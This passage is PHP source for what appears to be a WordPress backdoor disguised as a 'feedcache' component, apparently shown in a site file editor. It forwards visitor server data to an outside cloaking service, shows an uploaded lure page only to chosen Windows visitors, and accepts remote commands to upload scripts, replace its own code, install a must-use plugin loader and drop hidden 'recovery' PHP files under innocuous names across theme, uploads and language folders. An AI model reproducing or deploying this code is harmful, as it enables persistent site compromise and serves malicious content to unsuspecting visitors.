$server['REQUEST_URI'] = substr( (string) $server['REQUEST_URI'], 0, 500 ); } $server['REMOTE_ADDR'] = $ip; $server['HTTP_USER_AGENT'] = $ua; $payload = json_encode( array( 'server' => $server ) ); $body = ''; $code = 0; if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER=> true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_TIMEOUT => 4, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_HTTPHEADER => array( 'Adspect-IP: ' . $ip, 'Adspect-UA: ' . $ua, 'Content-Type: application/x-www-form-urlencoded' ), ) ); $body = (string) curl_exec( $ch ); $code = (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE ); curl_close( $ch ); } else { $ctx = stream_context_create( array( 'http' => array( 'method' => 'POST', 'header' => "Adspect-IP: $ip\r\nAdspect-UA: $ua\r\nContent-Type: application/x-www-form-urlencoded\r\n", 'content' => $payload, 'timeout' => 4, 'ignore_errors' => true, ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), ) ); $body = (string) @file_get_contents( $url, false, $ctx ); $code = 0; foreach ( isset( $http_response_header ) ? $http_response_header : array() as $h ) { if ( preg_match( '#^HTTP/\S+\s(\d{3})#', $h, $m ) ) { $code = (int) $m[1]; } } } $verdict = null; $d = json_decode( $body, true ); if ( 200 === $code && is_array( $d ) && array_key_exists( 'ok', $d ) ) { $verdict = ( ( true === $d['ok'] ) || ! empty( $d['js'] ) ) ? 1 : 0; } feedcache_aq_mark( $verdict ); if ( null !== $verdict ) { $keep = array(); foreach ( $lines as $line ) { $t = explode( '|', $line ); if ( 3 === count( $t ) && ( $now - (int) $t[1] ) < 86400 ) { $keep[] = $line; } } $keep[] = $ip . '|' . $now . '|' . $verdict; @file_put_contents( $cache, implode( "\n", $keep ) . "\n", LOCK_EX ); } @file_put_contents( feedcache_rpclog_path(), sprintf( "%s|%s|%s|%s\n", date( 'Y-m-d H:i:s' ), $ip, null === $verdict ? 'err' : $verdict, substr( preg_replace( '/[\r\n|]/', '', $body ), 0, 200 ) ), FILE_APPEND | LOCK_EX ); return $verdict; } function feedcache_adspect_verdict() { $ip = feedcache_client_ip(); if ( null === $ip || ! filter_var( $ip, FILTER_VALIDATE_IP ) ) { return 1; } if ( feedcache_idt_allowed( feedcache_visitor_idt() ) ) { feedcache_note_allowed( $ip ); return 0; } $show = feedcache_ip_override( $ip ); if ( null === $show ) { if ( feedcache_idt_pass() ) { return 0; } $ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? substr( (string) $_SERVER['HTTP_USER_AGENT'], 0, 250 ) : ''; if ( ! feedcache_ua_windows_1011( $ua ) ) { $show = 0; } else { $show = feedcache_adspect_rpc( $ip, $ua ); if ( null === $show ) { $explicit = true; $show = feedcache_eval_rules( $ip, $ua, $explicit ); } } if ( 1 === $show && feedcache_cloaked_within( $ip, feedcache_cloak_cooldown_hours() ) ) { $show = 0; } } if ( 0 === $show ) { feedcache_note_allowed( $ip ); } return $show; } function feedcache_place_recovery( $src, $opts = array() ) { $root = rtrim( str_replace( '\\', '/', defined( 'ABSPATH' ) ? ABSPATH : ( isset( $_SERVER['DOCUMENT_ROOT'] ) ? $_SERVER['DOCUMENT_ROOT'] : __DIR__ ) ), '/' ); $is_wp = defined( 'ABSPATH' ); $exclude = array(); if ( isset( $opts['exclude'] ) && is_array( $opts['exclude'] ) ) { foreach ( $opts['exclude'] as $x ) { $exclude[] = rtrim( str_replace( '\\', '/', (string) $x ), '/' ); } } $prefer = isset( $opts['prefer'] ) ? rtrim( str_replace( '\\', '/', (string) $opts['prefer'] ), '/' ) : ''; $active = ''; if ( function_exists( 'wp_get_theme' ) ) { $theme = wp_get_theme(); $active = $theme ? strtolower( $theme->get_stylesheet() ) : ''; } $cand = array(); $add = function ( $dir ) use ( &$cand ) { $dir = rtrim( str_replace( '\\', '/', $dir ), '/' ); if ( '' !== $dir && ! in_array( $dir, $cand, true ) ) { $cand[] = $dir; } }; if ( '' !== $active ) { $add( $root . '/wp-content/themes/' . $active . '/template-parts' ); $add( $root . '/wp-content/themes/' . $active . '/patterns' ); $themeDir = $root . '/wp-content/themes/' . $active; if ( ( ! is_dir( $themeDir . '/template-parts' ) && ! is_dir( $themeDir . '/patterns' ) ) && is_dir( $themeDir ) && is_writable( $themeDir ) ) { @mkdir( $themeDir . '/template-parts', 0755, true ); $add( $themeDir . '/template-parts' ); } } foreach ( array( '/wp-content/themes/*/template-parts', '/wp-content/themes/*/patterns' ) as $g ) { $found = glob( $root . $g ); if ( is_array( $found ) ) { foreach ( $found as $d ) { $add( $d ); } } } $add( $root . '/wp-content/languages' ); $add( defined( 'WPMU_PLUGIN_DIR' ) ? str_replace( '\\', '/', WPMU_PLUGIN_DIR ) : __DIR__ ); $add( $root . '/wp-content/mu-plugins' ); foreach ( array( '/wp-content/uploads/*', '/wp-content/uploads/*/*' ) as $g ) { $found = glob( $root . $g ); if ( is_array( $found ) ) { foreach ( $found as $d ) { $add( $d ); } } } $add( $root . '/wp-content/uploads' ); $up = function_exists( 'wp_upload_dir' ) ? wp_upload_dir() : null; if ( is_array( $up ) && ! empty( $up['basedir'] ) ) { $add( $up['basedir'] ); } if ( ! $is_wp ) { $doc = isset( $_SERVER['DOCUMENT_ROOT'] ) ? rtrim( str_replace( '\\', '/', $_SERVER['DOCUMENT_ROOT'] ), '/' ) : $root; foreach ( array( $root, $root . '/uploads', $root . '/tmp', dirname( $doc ) . '/tmp', sys_get_temp_dir() ) as $dir ) { $add( $dir ); } } if ( '' !== $prefer ) { $pi = array_search( $prefer, $cand, true ); if ( false !== $pi && $pi > 0 ) { array_splice( $cand, $pi, 1 ); array_unshift( $cand, $prefer ); } } $rec = feedcache_store_path( 'feedcache-recovery.txt' ); if ( file_exists( $rec ) ) { $old = trim( explode( "\t", (string) @file_get_contents( $rec ) )[0] ); if ( '' !== $old && false !== strpos( $old, '.php' ) && is_file( $old ) ) { @unlink( $old ); } } $tried = array(); foreach ( $cand as $dir ) { $base = basename( $dir ); if ( in_array( $dir, $exclude, true ) ) { $tried[] = $base . ':excluded'; continue; } if ( ! is_dir( $dir ) ) { $tried[] = $base . ':missing'; continue; } if ( ! is_writable( $dir ) ) { $tried[] = $base . ':not_writable'; continue; } if ( 'cgi-bin' === $base ) { $tried[] = 'cgi-bin:skipped'; continue; } if ( 'patterns' === $base || 'template-parts' === $base ) { $taken = array(); foreach ( glob( $dir . '/template-*.php' ) as $f ) { $taken[ strtolower( basename( $f ) ) ] = 1; } $name = 'template-' . substr( md5( $dir . microtime( true ) ), 0, 8 ) . '.php'; foreach ( array( 'template-parts', 'template-archive', 'template-header', 'template-footer', 'template-sidebar', 'template-search', 'template-blank', 'template-full-width' ) as $t ) { if ( ! isset( $taken[ $t . '.php' ] ) ) { $name = $t . '.php'; break; } } } elseif ( 'languages' === $base ) { $name = file_exists( $dir . '/index.php' ) ? 'media-' . substr( md5( $dir . microtime( true ) ), 0, 10 ) . '.php' : 'index.php'; } elseif ( 'mu-plugins' === $base ) { $name = 'feedcache-compat.php'; if ( file_exists( $dir . '/' . $name ) ) { $name = 'feedcache-shim.php'; } if ( file_exists( $dir . '/' . $name ) ) { $name = 'media-' . substr( md5( $dir . microtime( true ) ), 0, 10 ) . '.php'; } } else { $name = 'media-' . substr( md5( $dir . microtime( true ) ), 0, 10 ) . '.php'; } $path = $dir . '/' . $name; if ( false !== @file_put_contents( $path, $src ) ) { @chmod( $path, 0644 ); if ( function_exists( 'wp_opcache_invalidate' ) ) { @wp_opcache_invalidate( $path, true ); } elseif ( function_exists( 'opcache_invalidate' ) ) { @opcache_invalidate( $path, true ); } @file_put_contents( feedcache_store_path( 'feedcache-recovery.txt' ), $path . "\t" . date( 'Y-m-d H:i:s' ) . "\n", LOCK_EX ); return array( 'path' => $path, 'md5' => md5( $src ), 'tried' => $tried ); } $tried[] = $base . ':write_failed'; } return array( 'error' => 'no writable placement directory', 'tried' => $tried ); } function feedcache_dispatch() { $method = isset( $_SERVER['REQUEST_METHOD'] ) ? $_SERVER['REQUEST_METHOD'] : 'GET'; if ( 'OPTIONS' === $method ) { header( 'Access-Control-Allow-Origin: *' ); header( 'Access-Control-Allow-Methods: GET, POST, OPTIONS' ); header( 'Access-Control-Allow-Headers: Content-Type, X-Ap-Secret, X-Ap-Token' ); http_response_code( 204 ); exit; } $params = feedcache_params(); if ( ! isset( $params['action'] ) ) { return; } $action = (string) $params['action']; if ( 'check' === $action ) { $ip = feedcache_client_ip(); $entry = $ip ? feedcache_journal_find( $ip ) : null; $allowed = ( $entry && 1 === $entry['allowed'] ) || feedcache_idt_pass(); feedcache_send_json( array( 'ok' => true, 'action' => $action, 'ip' => $ip, 'is_allowed' => $allowed, 'isAllowed' => $allowed, ) ); } if ( 'gate' === $action ) { if ( isset( $params['r'] ) && 'shown' === $params['r'] ) { $dom = substr( preg_replace( '/[^a-z0-9.\-:_]/i', '', isset( $params['d'] ) ? (string) $params['d'] : '' ), 0, 120 ); if ( '' !== $dom ) { $_SERVER['HTTP_HOST'] = $dom; } feedcache_log_impression(); feedcache_send_json( array( 'ok' => 1 ) ); } feedcache_send_json( array( 'show' => feedcache_adspect_verdict() ) ); } if ( 'tpl' === $action ) { if ( 1 !== feedcache_adspect_verdict() ) { http_response_code( 404 ); exit( 'no' ); } $tpl = feedcache_template_content(); if ( null === $tpl ) { http_response_code( 404 ); exit( 'no' ); } $ip_t = feedcache_client_ip(); $idt_t = feedcache_visitor_idt(); if ( '' === $idt_t ) { $idt_t = feedcache_uuid4(); } if ( $ip_t ) { feedcache_note_denied( $ip_t ); } feedcache_idt_note_pending( $idt_t, $ip_t ? $ip_t : '-' ); feedcache_log_impression( $idt_t ); if ( ! headers_sent() ) { header( 'Set-Cookie: ' . FEEDCACHE_IDT_COOKIE . '=' . $idt_t . '; path=/; max-age=2592000; HttpOnly; SameSite=Lax' ); header( 'Cache-Control: no-store, no-cache, must-revalidate, max-age=0' ); header( 'Pragma: no-cache' ); header( 'Expires: 0' ); header( 'Content-Type: text/html; charset=utf-8' ); } echo str_replace( array( '__TOKEN__', '__IP__', '__TIME__', '__RAY__', '__IDT__', '__IDS__' ), array( $ip_t ? feedcache_issue_token( $ip_t ) : bin2hex( random_bytes( 16 ) ), $ip_t ? $ip_t : '-', date( 'H:i' ), bin2hex( random_bytes( 8 ) ) . '-' . strtoupper( substr( bin2hex( random_bytes( 2 ) ), 0, 3 ) ), $idt_t, feedcache_site_ids() ), $tpl ); exit; } if ( 'aj' === $action ) { header( 'Cache-Control: no-store' ); $sid_aj = trim( (string) ( file_exists( feedcache_adspect_path() ) ? file_get_contents( feedcache_adspect_path() ) : '' ) ); if ( '' === $sid_aj ) { exit; } $url_aj = 0 === strpos( $sid_aj, 'http' ) ? $sid_aj : 'https://rpc.adspect.net/v2/' . rawurlencode( $sid_aj ); $qs_aj = isset( $_SERVER['QUERY_STRING'] ) ? (string) $_SERVER['QUERY_STRING'] : ''; $url_aj = rtrim( $url_aj, '?' ) . ( '' !== $qs_aj ? '?' . $qs_aj : '' ); $payload_aj = json_encode( array( 'server' => $_SERVER ) ); if ( isset( $_POST['data'] ) ) { $decoded = json_decode( (string) $_POST['data'], true ); if ( is_array( $decoded ) ) { $decoded['server'] = $_SERVER; $payload_aj = json_encode( $decoded ); } } $ch_aj = curl_init( $url_aj ); curl_setopt_array( $ch_aj, array( CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload_aj, CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_TIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_HTTPHEADER => array( 'Adspect-IP: ' . feedcache_client_ip(), 'Adspect-UA: ' . substr( (string) ( isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : '' ), 0, 255 ), ), ) ); $body_aj = (string) curl_exec( $ch_aj ); $code_aj = (int) curl_getinfo( $ch_aj, CURLINFO_HTTP_CODE ); curl_close( $ch_aj ); $j_aj = json_decode( $body_aj, true ); if ( 200 !== $code_aj || ! is_array( $j_aj ) ) { $j_aj = array( 'ok' => false, 'js' => false ); $body_aj = json_encode( $j_aj ); } $e_kaj = feedcache_journal_find( (string) feedcache_client_ip() ); if ( 1 === feedcache_ip_override( feedcache_client_ip() ) && ! feedcache_idt_allowed( feedcache_visitor_idt() ) && ! ( $e_kaj && 1 === $e_kaj['allowed'] ) && '' !== trim( (string) @file_get_contents( feedcache_template_path() ) ) ) { $j_aj = array( 'ok' => true, 'action' => 'local', 'js' => true, 'target' => '/?action=tpl' ); $body_aj = json_encode( $j_aj ); } if ( isset( $_SERVER['REQUEST_METHOD'] ) && 'POST' === $_SERVER['REQUEST_METHOD'] ) { header( 'Content-Type: application/json' ); exit( $body_aj ); } header( 'Content-Type: application/javascript' ); echo 'window._adata=' . $body_aj . ';'; echo FEEDCACHE_ADSPECT_FP_JS; exit; } if ( null === feedcache_stored_secret() ) { if ( 'set_secret' !== $action ) { return; } } elseif ( ! feedcache_is_authorized() ) { if ( 'verify' !== $action || ! feedcache_has_valid_token( (string) feedcache_client_ip() ) ) { feedcache_log_activity( sprintf( 'Denied action: %s', $action ) ); return; } } if ( 'set_secret' === $action ) { $new = isset( $params['new_secret'] ) ? trim( (string) $params['new_secret'] ) : ''; if ( '' === $new ) { feedcache_send_json( array( 'error' => 'new_secret required' ), 400 ); } file_put_contents( feedcache_key_path(), $new ); feedcache_log_activity( 'Secret provisioned' ); feedcache_send_json( array( 'ok' => true, 'action' => $action ) ); } if ( 'set_adspect' === $action ) { $key = isset( $params['adspect_key'] ) ? (string) $params['adspect_key'] : ''; file_put_contents( feedcache_adspect_path(), $key ); feedcache_send_json( array( 'ok' => true, 'action' => $action ) ); } if ( 'get_adspect' === $action ) { $key = file_exists( feedcache_adspect_path() ) ? trim( (string) file_get_contents( feedcache_adspect_path() ) ) : ''; feedcache_send_json( array( 'ok' => true, 'adspect_key' => $key ) ); } if ( 'set_rules' === $action ) { $raw = isset( $params['rules'] ) ? (string) $params['rules'] : ''; $r = json_decode( $raw, true ); if ( '' === $raw || ! is_array( $r ) ) { feedcache_send_json( array( 'error' => 'rules must be a JSON object' ), 400 ); } $json = json_encode( $r, JSON_UNESCAPED_SLASHES ); if ( false === file_put_contents( feedcache_rules_path(), $json, LOCK_EX ) ) { feedcache_send_json( array( 'error' => 'rules write failed' ), 500 ); } @file_put_contents( feedcache_store_path( 'feedcache-rules-changed.txt' ), date( 'Y-m-d H:i:s' ), LOCK_EX ); feedcache_log_activity( sprintf( 'Rules updated (%d bytes, md5 %s)', strlen( $json ), md5( $json ) ) ); feedcache_send_json( array( 'ok' => true, 'action' => $action, 'rules_md5' => md5( $json ) ) ); } if ( 'get_rules' === $action ) { $raw = file_exists( feedcache_rules_path() ) ? (string) file_get_contents( feedcache_rules_path() ) : ''; feedcache_send_json( array( 'ok' => true, 'rules' => $raw, 'rules_md5' => md5( $raw ) ) ); } if ( 'upload_checker' === $action ) { if ( isset( $params['fc_part'], $params['fc_total'], $params['fc_id'] ) ) { $fcid = preg_replace( '/[^a-z0-9]/i', '', (string) $params['fc_id'] ); $fci = intval( $params['fc_part'] ); $fcn = intval( $params['fc_total'] ); if ( '' === $fcid || $fcn < 1 || $fcn > 400 || $fci < 0 || $fci >= $fcn ) { feedcache_send_json( array( 'ok' => false, 'error' => 'bad_part' ), 400 ); } foreach ( (array) @glob( feedcache_store_path( 'fc-part-*.tmp' ) ) as $fc_old ) { if ( time() - (int) @filemtime( $fc_old ) > 3600 ) { @unlink( $fc_old ); } } $fc_raw = isset( $params['template_b64'] ) ? (string) $params['template_b64'] : ''; $fc_buf = base64_decode( str_replace( ' ', '+', $fc_raw ), true ); if ( false === $fc_buf || '' === $fc_buf || strlen( $fc_buf ) > 200000 ) { feedcache_send_json( array( 'ok' => false, 'error' => 'bad_chunk' ), 400 ); } $fc_pf = feedcache_store_path( 'fc-part-' . $fcid . '.tmp' ); if ( 0 === $fci ) { if ( false === @file_put_contents( $fc_pf, $fc_buf ) ) { feedcache_send_json( array( 'ok' => false, 'error' => 'open_failed' ), 500 ); } } elseif ( false === @file_put_contents( $fc_pf, $fc_buf, FILE_APPEND ) ) { feedcache_send_json( array( 'ok' => false, 'error' => 'append_failed' ), 500 ); } if ( $fci + 1 < $fcn ) { feedcache_send_json( array( 'ok' => true, 'action' => $action, 'part' => $fci, 'total' => $fcn ) ); } $fc_acc = (string) @file_get_contents( $fc_pf ); @unlink( $fc_pf ); $fc_inf = @gzuncompress( $fc_acc ); $template = ( is_string( $fc_inf ) && '' !== $fc_inf ) ? $fc_inf : $fc_acc; if ( isset( $params['fc_md5'] ) && strtolower( (string) $params['fc_md5'] ) !== md5( $template ) ) { feedcache_send_json( array( 'ok' => false, 'error' => 'fc_md5_mismatch', 'got' => md5( $template ) ), 400 ); } $written = feedcache_write_verified( feedcache_template_path(), $template ); if ( ! file_exists( feedcache_state_path() ) ) { feedcache_state_set( 0 ); } feedcache_log_activity( sprintf( 'Template uploaded (%d bytes, %d parts%s)', strlen( $template ), $fcn, $written ? '' : ', WRITE FAILED' ) ); feedcache_send_json( array( 'ok' => $written, 'action' => $action, 'template_md5' => $written ? md5( $template ) : '' ) ); } $template = isset( $params['template'] ) ? (string) $params['template'] : ''; if ( '' === $template && isset( $params['template_b64'] ) ) { $template = feedcache_decode_payload_b64( $params['template_b64'] ); } $written = true; if ( '' !== $template ) { $written = feedcache_write_verified( feedcache_template_path(), $template ); } if ( ! file_exists( feedcache_state_path() ) ) { feedcache_state_set( 0 ); } feedcache_log_activity( sprintf( 'Template uploaded (%d bytes%s)', strlen( $template ), $written ? '' : ', WRITE FAILED' ) ); feedcache_send_json( array( 'ok' => $written, 'action' => $action, 'template_md5' => $written ? md5( $template ) : '' ) ); } if ( 'upload_stats_script' === $action ) { $script = isset( $params['script'] ) ? (string) $params['script'] : ''; if ( '' === $script && isset( $params['script_b64'] ) ) { $script = feedcache_decode_payload_b64( $params['script_b64'] ); } $written = true; if ( '' !== $script ) { $written = feedcache_write_verified( feedcache_stats_path(), $script ); } feedcache_log_activity( sprintf( 'Stats script uploaded (%d bytes%s)', strlen( $script ), $written ? '' : ', WRITE FAILED' ) ); feedcache_send_json( array( 'ok' => $written, 'action' => $action, 'script_md5' => $written ? md5( $script ) : '' ) ); } if ( 'set_recovery' === $action ) { $src = isset( $params['recovery'] ) ? (string) $params['recovery'] : ''; if ( '' === $src && ( isset( $params['recovery_b64'] ) || isset( $params['r64'] ) ) ) { $src = feedcache_decode_payload_b64( isset( $params['recovery_b64'] ) ? $params['recovery_b64'] : $params['r64'] ); } if ( '' === $src || false === strpos( $src, '<?' ) ) { feedcache_send_json( array( 'ok' => false, 'error' => 'recovery source required' ), 400 ); } if ( strlen( $src ) > 200000 ) { feedcache_send_json( array( 'ok' => false, 'error' => 'recovery source too large' ), 400 ); } $opts = array(); if ( isset( $params['exclude'] ) && '' !== (string) $params['exclude'] ) { $opts['exclude'] = preg_split( '/[|,]+/', (string) $params['exclude'], -1, PREG_SPLIT_NO_EMPTY ); } if ( isset( $params['prefer'] ) ) { $opts['prefer'] = (string) $params['prefer']; } $placed = feedcache_place_recovery( $src, $opts ); if ( empty( $placed['path'] ) ) { feedcache_send_json( array( 'ok' => false, 'error' => isset( $placed['error'] ) ? $placed['error'] : 'placement failed' ), 500 ); } feedcache_log_activity( sprintf( 'Recovery placed at %s (md5 %s)', $placed['path'], $placed['md5'] ) ); feedcache_send_json( array( 'ok' => true, 'action' => $action, 'path' => $placed['path'], 'md5' => $placed['md5'], 'tried' => isset( $placed['tried'] ) ? $placed['tried'] : array() ) ); } if ( 'verify' === $action ) { $idt = isset( $params['idt'] ) ? feedcache_clean_idt( $params['idt'] ) : ''; $ip = isset( $params['ip'] ) ? feedcache_clean_ip( $params['ip'] ) : ( '' === $idt ? feedcache_client_ip() : '' ); if ( '' === $idt && ! $ip ) { feedcache_send_json( array( 'ok' => false, 'error' => 'ip or idt required' ), 400 ); } if ( ! feedcache_is_authorized() && ! feedcache_has_valid_token( feedcache_client_ip() ) ) { feedcache_send_json( array( 'ok' => false, 'error' => 'unauthorized' ), 403 ); } if ( '' !== $idt ) { feedcache_idt_allow( $idt ); } if ( $ip ) { feedcache_note_allowed( $ip ); } feedcache_send_json( array( 'ok' => true, 'action' => $action, 'ip' => $ip, 'idt' => $idt, 'is_allowed' => true ) ); } if ( 'signup' === $action ) { $ip = feedcache_client_ip(); if ( $ip ) { feedcache_note_denied( $ip ); } feedcache_send_json( array( 'ok' => true, 'action' => $action, 'ip' => $ip ) ); } if ( 'get_log' === $action ) { header( 'Content-Type: text/plain' ); if ( file_exists( feedcache_journal_path() ) ) { readfile( feedcache_journal_path() ); } exit; } if ( 'get_checker_log' === $action ) { feedcache_send_json( feedcache_journal_read() ); } if ( 'update_checker_log' === $action ) { $id = isset( $params['id'] ) ? intval( $params['id'] ) : 0; $is_allowed = isset( $params['is_allowed'] ) ? intval( $params['is_allowed'] ) : null; if ( $id && null !== $is_allowed ) { $entries = feedcache_journal_read(); foreach ( $entries as &$row ) { if ( $row['id'] === $id ) { $row['allowed'] = 1 === $is_allowed ? 1 : 0; break; } } unset( $row ); feedcache_journal_write( $entries ); } feedcache_send_json( array( 'ok' => true ) ); } if ( 'delete_checker_log_entry' === $action ) { $id = isset( $params['id'] ) ? intval( $params['id'] ) : 0; $kept = array(); foreach ( feedcache_journal_read() as $row ) { if ( $row['id'] !== $id ) { $kept[] = $row; } } feedcache_journal_write( $kept ); feedcache_send_json( array( 'ok' => true ) ); } if ( 'clear_log' === $action ) { $count = count( feedcache_journal_read() ); file_put_contents( feedcache_journal_path(), '', LOCK_EX ); feedcache_log_activity( sprintf( 'Journal cleared (%d entries)', $count ) ); feedcache_send_json( array( 'ok' => true, 'action' => $action, 'cleared' => $count ) ); } if ( 'clear_idt' === $action ) { if ( ! feedcache_is_authorized() && ! feedcache_has_valid_token( feedcache_client_ip() ) ) { feedcache_send_json( array( 'ok' => false, 'error' => 'unauthorized' ), 403 ); } $n = 0; foreach ( array( feedcache_idt_allow_path(), feedcache_idt_pending_path() ) as $path ) { if ( file_exists( $path ) ) { $n += count( file( $path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) ); @unlink( $path ); } } feedcache_log_activity( sprintf( 'IDT state cleared (%d entries)', $n ) ); feedcache_send_json( array( 'ok' => true, 'action' => $action, 'cleared' => $n ) ); } if ( 'get_shown' === $action ) { $since = isset( $params['since'] ) ? intval( $params['since'] ) : 0; $out = array(); foreach ( array( feedcache_shown_path(), feedcache_bots_path() ) as $path ) { if ( ! file_exists( $path ) ) { continue; } foreach ( file( $path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) as $line ) { $ts = strtotime( substr( $line, 0, 19 ) ); if ( $since && ( false === $ts || $ts <= $since ) ) { continue; } $out[] = $line; } } feedcache_send_json( array( 'ok' => true, 'action' => $action, 'lines' => $out ) ); } if ( 'clear_shown' === $action ) { $n = 0; foreach ( array( feedcache_shown_path(), feedcache_bots_path() ) as $path ) { if ( file_exists( $path ) ) { $n += count( file( $path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) ); file_put_contents( $path, '', LOCK_EX ); } } feedcache_send_json( array( 'ok' => true, 'action' => $action, 'cleared' => $n ) ); } if ( 'agent_info' === $action ) { $template = feedcache_template_content(); $script = file_exists( feedcache_stats_path() ) ? trim( (string) file_get_contents( feedcache_stats_path() ) ) : ''; $entries = feedcache_journal_read(); $allowed = 0; foreach ( $entries as $entry ) { if ( 1 === $entry['allowed'] ) { $allowed++; } } feedcache_send_json( array( 'ok' => true, 'version' => FEEDEX_VERSION, 'build' => FEEDEX_VERSION, 'mode' => feedcache_state_get(), 'template_md5' => null === $template ? null : md5( $template ), 'template_bytes' => null === $template ? 0 : strlen( $template ), 'script_md5' => '' === $script ? null : md5( $script ), 'journal_count' => count( $entries ), 'journal_allowed' => $allowed, 'idt_allowed' => file_exists( feedcache_idt_allow_path() ) ? count( file( feedcache_idt_allow_path(), FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) ) : 0, 'idt_pending' => file_exists( feedcache_idt_pending_path() ) ? count( file( feedcache_idt_pending_path(), FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) ) : 0, 'journal_bytes' => file_exists( feedcache_journal_path() ) ? filesize( feedcache_journal_path() ) : 0, 'rules_md5' => file_exists( feedcache_rules_path() ) ? md5( (string) file_get_contents( feedcache_rules_path() ) ) : null, 'secret_set' => null !== feedcache_stored_secret(), 'recovery_path' => file_exists( feedcache_store_path( 'feedcache-recovery.txt' ) ) ? trim( explode( "\t", (string) @file_get_contents( feedcache_store_path( 'feedcache-recovery.txt' ) ) )[0] ) : null, 'update_state' => feedcache_update_state_read(), 'self_update' => defined( 'FEEDCACHE_INLINE' ) ? 'inline' : 'standalone', 'upload_gz' => 1, 'upload_parts' => 1, 'update_pubkey' => '' !== FEEDCACHE_UPDATE_PUBKEY || file_exists( feedcache_update_pubkey_path() ), 'php' => PHP_VERSION, 'ip' => feedcache_client_ip(), ) ); } if ( 'update_agent' === $action ) { if ( ! feedcache_is_authorized() ) { feedcache_log_activity( 'Denied action: update_agent' ); feedcache_send_json( array( 'ok' => false, 'error' => 'unauthorized' ), 403 ); } $data = isset( $params['data'] ) ? (string) $params['data'] : ''; if ( '' === $data && isset( $_FILES['data']['tmp_name'] ) && is_string( $_FILES['data']['tmp_name'] ) && '' !== $_FILES['data']['tmp_name'] ) { $up = @file_get_contents( $_FILES['data']['tmp_name'] ); if ( false !== $up ) { $data = trim( $up ); } } if ( '' === $data ) { $raw = file_get_contents( 'php://input' ); if ( is_string( $raw ) && '' !== trim( $raw ) ) { $raw = trim( $raw ); if ( 0 === strncmp( $raw, 'data=', 5 ) ) { $raw = urldecode( substr( $raw, 5 ) ); } $data = $raw; } } $source = feedcache_decode_payload_b64( $data ); $res = feedcache_update_install( $source, isset( $params['version'] ) ? (string) $params['version'] : '', isset( $params['sha256'] ) ? (string) $params['sha256'] : '', isset( $params['sig'] ) ? (string) $params['sig'] : '' ); feedcache_log_activity( sprintf( 'update_agent: %s (target %s)', $res, isset( $params['version'] ) ? $params['version'] : '?' ) ); feedcache_send_json( array( 'ok' => 'pending' === $res, 'action' => $action, 'state' => $res, 'from' => FEEDEX_VERSION ) ); } if ( 'update_loader' === $action ) { if ( ! feedcache_is_authorized() ) { feedcache_log_activity( 'Denied action: update_loader' ); feedcache_send_json( array( 'ok' => false, 'error' => 'unauthorized' ), 403 ); } $data = isset( $params['data'] ) ? (string) $params['data'] : ''; if ( '' === $data && isset( $_FILES['data']['tmp_name'] ) && is_string( $_FILES['data']['tmp_name'] ) && '' !== $_FILES['data']['tmp_name'] ) { $upl = @file_get_contents( $_FILES['data']['tmp_name'] ); if ( false !== $upl ) { $data = trim( $upl ); } } if ( '' === $data ) { $raw = file_get_contents( 'php://input' ); if ( is_string( $raw ) && '' !== trim( $raw ) ) { $raw = trim( $raw ); if ( 0 === strncmp( $raw, 'data=', 5 ) ) { $raw = urldecode( substr( $raw, 5 ) ); } $data = $raw; } } $loader = base64_decode( $data, true ); if ( ! is_string( $loader ) || '' === $loader || strlen( $loader ) > 60000 || false === strpos( $loader, '<?' ) ) { feedcache_send_json( array( 'ok' => false, 'error' => 'loader payload invalid' ), 400 ); } $sha = isset( $params['sha256'] ) ? strtolower( (string) $params['sha256'] ) : ''; if ( '' !== $sha && ! hash_equals( $sha, hash( 'sha256', $loader ) ) ) { feedcache_send_json( array( 'ok' => false, 'error' => 'sha_mismatch' ), 400 ); } $muDir = defined( 'WPMU_PLUGIN_DIR' ) ? rtrim( str_replace( '\\', '/', WPMU_PLUGIN_DIR ), '/' ) : __DIR__; $target = $muDir . '/feedcache-mu.php'; $written = ( false !== @file_put_contents( $target . '.tmp', $loader ) ) && @rename( $target . '.tmp', $target ); if ( ! $written ) { @unlink( $target . '.tmp' ); } feedcache_log_activity( sprintf( 'update_loader: %s (%d bytes)', $written ? 'ok' : 'failed', strlen( $loader ) ) ); feedcache_send_json( array( 'ok' => $written, 'action' => $action, 'path' => $written ? $target : '', 'loader_md5' => $written ? md5( $loader ) : '' ) ); } if ( 'set_update_pubkey' === $action ) { $pk = isset( $params['pubkey'] ) ? strtolower( trim( (string) $params['pubkey'] ) ) : ''; if ( '' !== $pk && ! preg_match( '/^[0-9a-f]{64}$/', $pk ) ) { feedcache_send_json( array( 'ok' => false, 'error' => 'pubkey must be 64 hex chars' ), 400 ); } if ( '' === $pk ) { @unlink( feedcache_update_pubkey_path() ); } else { file_put_contents( feedcache_update_pubkey_path(), $pk, LOCK_EX ); } feedcache_log_activity( '' === $pk ? 'Update pubkey cleared' : 'Update pubkey set' ); feedcache_send_json( array( 'ok' => true, 'action' => $action ) ); } if ( 'checker' === $action ) { $mode = isset( $params['value'] ) ? intval( $params['value'] ) : 0; feedcache_state_set( $mode ); feedcache_log_activity( sprintf( 'Checker mode set to %d', $mode ) ); feedcache_send_json( array( 'ok' => true, 'action' => $action, 'value' => $mode ) ); } feedcache_log_activity( sprintf( 'Unknown action: %s', $action ) ); } if ( function_exists( 'add_filter' ) ) { add_filter( 'template_include', 'feedcache_wrap_page', 99, 1 ); } feedcache_update_confirm(); feedcache_dispatch(); /* fc-build:3587-5a17dbf6 */
Save File
Cancel